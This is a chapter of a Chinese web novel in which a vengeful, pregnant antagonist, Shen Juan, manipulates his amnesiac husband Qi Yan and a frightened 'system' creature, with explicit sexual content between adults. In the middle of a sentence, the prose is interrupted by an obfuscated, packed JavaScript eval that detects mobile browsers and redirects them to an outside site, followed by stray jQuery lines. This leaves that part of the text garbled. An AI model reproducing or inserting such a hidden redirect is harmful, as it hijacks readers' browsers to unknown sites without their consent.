零零零一心想查明反派怎么会发出这样的声响,没有听到祁衍的话,不然它能高兴地跳起来原地转圈圈尖叫。
圆润水珠沿着白瓷砖滑落,水汽氤氲弥漫,身着清凉的迤逦清冷人妻眼尾压着抹艳红。
和先前在酒吧接祁衍时的寒淡不同,沈眷展露出不一样的情潮,成熟韵味自然流露,淡漠禁欲间勾出抹诱人风情。
男人身上笼了件纱衣,扣子倒很正经,从头扣到尾,可偏偏布料又透又薄。
半遮半掩的衣裳遮掩他曼妙身躯,衣料垂在腹前晃,因月份不大,肚子还很平坦,倒没有顶起个圆弧。
沈眷身前站着具没有气息与意识的身体,他正压这具身体上,与这具身体厮磨,蛊诱着祁衍的喘息正从他唇缝中溢出。
零零零穿过墙时,正好看见反派挑起那具身体下颌,眉眼绯红着嗔怪:“都怪你,才怀三个月,都要用吸.奶器了。”
倘若祁衍进来,绝对会大吃一惊,这具肉.体与他长相一模一样,就连身体的细节都丝毫不差。
零零零头顶黄色的毛被吓得翘起,这是……宿主上一次做任务时使用的身体!
怎么会变成毫无意识的尸体!
系统局规定,每当爱意值满的时候,就要把宿主强制送回现实世界,同时为了稳定反派身心,宿主使用的身体会留下,并且身体里有通过代码复制的记忆。
相当于机器人,可——
现在身体里的代码消失了。
零零零快速想了个解决办法,它要想办法让这具身体与宿主融合!
不然被宿主发现就乱套了。
下一秒,零零零就没机会思考了,它粗短的鸡脖子被骨节分明的大手钳制,沈眷掐住它脖颈,薄唇轻嘘:“别吵到我家先生。”
“自称要攻略反派的系统先生。”
零零零整个统都要炸了,它吓坏了,程序出现乱码。
不敢说话不敢动,吓得都结巴了。
[你,你,你,怎么,我……]
它看见反派笑吟吟的弯了弯眉眼:“是不是很好奇我先生怎么会这么乖巧可爱。”
零零零随之听见他说:“那当然是因为,那团小东西被我掐死了,你说呢,系统先生?”
它瞪大眼睛,不敢说话。
沈眷淡漠地睨他:“系统先生……为了感谢您将我先生重新带回来。”
他轻挑红唇:“接下来,你要听我的,第一……”
零零零吓得只能答应。
QAQ
反派怀孕了也好吓人。
目送系统离开,沈眷颀长白皙的指尖跃起蓝色电弧,细看就能发现由一串又一串代码构成,这是——
被窃取的系统本源。
它能够维系身体机能,也可以控制他人躯壳行动起来,比如祁衍第一次攻略他时用的身体。
沈眷轻轻抚摸着孕肚,望着镜中苍白瑰丽的脸,缓缓勾起抹满含恨意的笑,“祁衍”双臂穿过他腰身,从后面轻拢他入怀。
颈窝相交,姿态亲昵,沈眷身体向后仰,枕在“祁衍”肩头,红润双唇翕合:“你说,我该怎么惩罚你呢?”
沈眷侧眸望,窗外是轮皎洁凉徨的月亮,月光照耀窗台,明晰亮色将窗内窗外隔成两岸。
岸外万家灯火恩爱缱绻,岸内是被情爱毒害的凄鬼。
他的丈夫已经消失了整整三十天,七百二十个小时,在他们婚后第五年,在他满心欢喜拿着孕检单想给丈夫一个惊喜的当日。
那天……他听见自称系统的奇怪东西,兴高采烈地蹦蹦跳跳说,回忆绷着沈眷心尖发疼,它说什么呢。
说他沈眷这个无恶不作,凶狠残暴的反派终于动了真心,所谓的爱意值达到了顶峰,宿主可以回家了。
沈眷枕在“祁衍”肩头缓缓闭起双眸,白日,亲眼目睹面容熟悉的丈夫出现在教室之下。
他很确信,离开的老公和祁衍是同一个人。
离开一个月的丈夫又出现了,带着系统再次攻略他,妄图再次刷满他的爱意,沈眷嘴角的弧度勾出讽刺锋芒。
他们目光交汇刹那,沈眷自己都不清楚,他跳动的心脏是因思念成真,还是恨欲难消。
他的丈夫年轻,薄情,危险,来去自如,留给他的只有无尽悲伤与满腔怨恨。
浴室起雾的玻璃窗反射沈眷盈着残月的眼尾,面无表情地流下一颗又一颗水珠,“祁衍”肩颈也顺势盛了湾碎湖泊。
潋潋又滟滟,碎碎却难圆。
*
祁衍走进客房的卫生间,抽了几张纸,才勉强疏通好。
他被好心老师接回家,却听着老师与他丈夫的春宫,他这位学生还听着老师的动情声音而弄湿半包纸,这感觉……
祁衍狭长眼眸微眯,可真TM刺激。
他靠着墙,没有点燃长烟,只凝着手中的烟出神。
现在沈老师既然在与新婚丈夫纵情升歌,严谨的领口肯定被弄得很松,腿会不会被掰开,露出……
靡光升腾,朦胧了他俊帅的五官。
祁衍自小生活的环境很差,他是豪门私生子,豪门父亲与豪门母亲各自背叛原配生了他。
从小就生活在背叛,欲.望,出.轨,偷.情中。
祁衍道德底线其实相当灵活,之前不想攻略沈老师,跟他已经结婚没关系,纯粹是因为,他不感兴趣。
仅此而已。
现在……
但凡是男同性恋,在听到这么撩耳的呻.吟声,不对沈老师产生那么一点点的探究欲是不可能的。
不巧,祁衍是gay。
祁衍弹掉纸巾。
攻略反派人妻这事,听起来有一点点意思。
可也只有一点点。
基于男人劣根性的欲望不足以在祁衍心尖燃起火苗,细微弱小的肉.欲无法让他产生强烈的主动性。
祁衍走回房间,零零零挥舞着短胖的肥翅膀朝他飞来,鸡脸上全是惊慌。
[宿主!宿主!]
祁衍单手撑在地板上做俯卧撑,汗水淌过他宽阔的脊背与肱二头肌,男性荷尔蒙展露无疑。
听着系统慌慌张张的声音,祁衍头也没回:“有事?”
零零零两只翅膀遮住脸,缩在床边变成小黄球,它鬼鬼祟祟地缩进床底下,好像这样能给它安全感。
它吞吞吐吐半天,没憋出半句有用的话,它本想告诉宿主说你老婆疯了,能看见它,还知道他们的目的,让宿主小心。
零零零憋了半天,回忆起脖子被掐的痛感,打了个寒战,还是没说出口。
祁衍知道了不会有事,反派爱他爱得发疯,可它不一样,但凡它敢泄露半丝消息,零零零都感觉它要完蛋了。
祁衍嗤笑声,没搭理它,以为系统又在抽疯,也错过发现它异样的原因。
他有锻炼的习惯,平常在健身房锻炼,但沈老师家就算有单独的健身房,他一个外人也不好使用。
就只能在房间做做俯卧撑,平板支撑之类保持身材。
脸蛋与身材是他在酒吧驻唱,以及未来可能要去当男小三的资本,祁衍当然不会荒废锻炼。
又做完两组俯卧撑,一滴汗水淌过美人尖,流过英挺的眉峰,滴哒下时,祁衍耳边响起熟悉的脚步声。
“哒——”
脚步直往他这间房走,这么晚了沈老师来找他,总不会是为他补课。
祁衍身上这件黑衬衫被浸湿,勾勒出完美的流畅线条,一举一动都散发着男人的帅气魅力。
房门被敲响。
祁衍伸了个懒腰,开了门,没有意外,门外的人是沈眷。
沈眷穿着扣得死紧的真丝睡衣,露在空中的白皙侧脖还残留着鲜红吻印,冶丽清冷的脸上吻着绯色。
一丝不苟的穿着,无法遮掩貌美人妻欢.爱后的痕迹,还有他散发的薄荷淡香,缠着甜腻靡气。
祁衍墨色瞳孔暗了又暗,说真的,这样的沈老师,真的很容易引人犯罪。
尤其是,祁衍对自己的道德相当有自知之明,他可以因为一点新鲜感,或者觊觎成熟人妻的身体就去勾引沈老师。
如果沈老师长时间在他眼底摇曳,保不齐真能让他变成插足美满婚姻的男小三。
祁衍闲散地依在门口,姿态懒散时不经意地让衣领敞开,汗水依依不舍地打转。
沈眷慢条斯理地移开目光,眉心短暂蹙起,祁衍衣服散乱的角度不够对称。
祁衍:“抱歉啊老师,刚好有锻炼的习惯,刚刚锻炼了半个小时,出了汗,沈老师丈夫不会介意你看学生这样吧。”
沙哑语气一调绵一调的茶。
沈眷手指勾出瓶胃药,他语气没什么起伏:“我丈夫心好,知道我从酒吧带了位好学生回家,便嘱咐我给他胃药吃。”
祁衍胃部确实不太舒服。
他摊开手心,手上很快就多了枚药,祁衍仰头吞咽掉,胃舒服了点。
他挑了挑眉,视线落在沈眷侧脖:“谢谢沈老师丈夫,只是……沈老师难道没有东西要给我吗?”
“总不能沈老师自己反倒不关心我这好学生吧。”
沈眷似是早就清楚他会这么发问,取出根漆黑笔身的钢笔,极具质感。
祁衍打量这支笔,暗自心想,难道沈老师这是在敲打他,让他当真变成好好学生,好好学习啊。
他接过,放在掌心摩挲把玩,笑眯眯地道谢:“谢谢沈老师,我不会辜负你心意的。”
沈眷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924254|177111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡然颔首,抚着腹部缓步回到主卧。
祁衍躺在床上,拎起这根笔笑说:“系统,沈老师还挺负责,对学生还不错。”
沈眷离开后,零零零才敢瑟瑟发抖地从床底下爬出来,小黄球打开,它扫描了下这支笔。
(跳o遥控器。)
鸡脸上出现茫然与震惊,零零零抬头望满脸笑意把玩着笔尖与笔身的宿主,重新把自己裹成颗球,决定什么都不说。
主卧——
“祁衍”躺在左侧,右侧,沈眷枕在丈夫胳膊,轻靠近他臂弯,手心贴着肚子滑动,嗡嗡电流声震动。
他躺在丈夫怀中,餍足又难受地闭起眼眸,夹过床头柜的吸.乃器,撩起衣摆。
他现在是孕早期,怀孕三个月,不知道是不是体质问题,明明月份还早,但……
沈眷漆黑睫羽微垂,遮盖微微绯红的眼尾。
医生说,孕期后面会越来越大,奶量也会越来越多,受到一点刺激,说不定就会喷出来。
而再过十天,沈眷就二十九了,他幽幽叹息,而他的丈夫不过才十九。
他年纪大了,不够鲜活热烈,与十九岁的爱人相比,显得那么古板无聊。
在遇到祁衍以前,除却童年无趣死板的经历,沈眷的人生乏善可陈,对爱,对人都不感兴趣。
和祁衍相爱后禁欲多年的身子好像一下就被欲念侵扰,每晚都朝丈夫索要……
震动音久久没消,沈眷抚摸着肚皮,尤其是自从他怀了他们的宝宝以后,需求越发旺盛。
产检时医生也说每晚都要含着,丈夫在就含丈夫的一整晚,丈夫不在也得含些别的来扩充产道。
沈眷听着,念在心头,就送了丈夫遥控器。
曾经,祁衍鼻尖蹭他耳朵,说以后要是不再年轻,不再持久,没办法满足他该怎么办,他怎么回答的?
沈眷恍惚,记得自己回丈夫说那就一起当对鸳鸯和尚,想着想着,他自嘲笑笑,这相爱二字于他年轻的丈夫而言大概不存在。
甚至在他怀孕三个月时再次换了身份名字重新回到他的身边,将他遗忘得一干二净,以为他真和旁人结了婚。
沈眷病态潮红的脸浮现恨念,报复的思绪疯长,很快他就制定好计划。
他要引诱没有记忆的祁衍,心甘情愿当这段婚姻的插足者,在与他缠绵时还要在祁衍面前与丈夫演尽恩爱。
沈眷侧眸望这具没有灵魂的躯壳,一枚吻轻飘飘落下,他促狭轻笑:“亲爱的,为我发疯吧。”
*
祁衍把玩了十分钟钢笔,把笔收好。
他侧眸望着那瓶胃药,不可否认,沈老师丈夫是个好人。
不仅同意自己妻子收留学生,还送他胃药。
祁衍红彤彤的心脏跳动出良知,可惜……他对自己有自知之明。
他不是正直的性格。
下腹曾因沈老师跃起的火,在胃药的承托下,他微弱的良知仿佛鳄鱼落泪。
零零零憋了一大口气,小心翼翼开口。
[宿主宿主,你现在愿意做任务了吗。]
祁衍指尖抚摸笔身,拳头抵在唇角,没所谓笑笑:“明天再说。”
他做事一向只凭自己高兴,只要他真对沈眷有意思,不需要系统催他就会主动勾引。
零零零还想再劝,它有苦说不出,宿主不愿意做任务,它业绩不达标,而且……反派还一直威胁他,让它鼓舞宿主勾引他自己。
祁衍不知它内心的苦,闭上眼睛睡起大觉。
一觉睡醒,祁衍起床时没见到沈老师与他丈夫。
他有点遗憾,他其实挺好奇沈老师丈夫是谁,叫什么名字,长什么样。
祁衍也没太可惜,想着系统的任务,他咬住烟管,说不定……他与沈老师丈夫未来还会产生很深的交集。
他走出房门,在玄关看到木质台板上花瓶插着束褪色的纸玫瑰。
祁衍扫了眼,出了沈眷的家,他点燃了烟来到大街上,零零零明显嘴碎了不少。
[宿主宿主,接下来我们打车去医院。]
祁衍:?
没事去医院做什么。
奈何零零零一直闹腾,祁衍只能掐灭烟,拦车前往医院。
车辙印深深,冷风呼啸,祁衍坐在车上抚摸笔尖,侧眸望着窗外倒驰的景色。
酒吧日结,祁衍手头还有些钱,他用这钱付了车费,又买了套加了全家福的煎饼果子,走向医院。
猝不及防之下,眼中竟倒映出道再熟悉不过的优雅身影,祁衍疑惑挑眉,沈老师怎么在医院?
他抬起眼皮,认真看墙头挂着的字,赫然写着——[产科]
祁衍:??
谁怀孕了???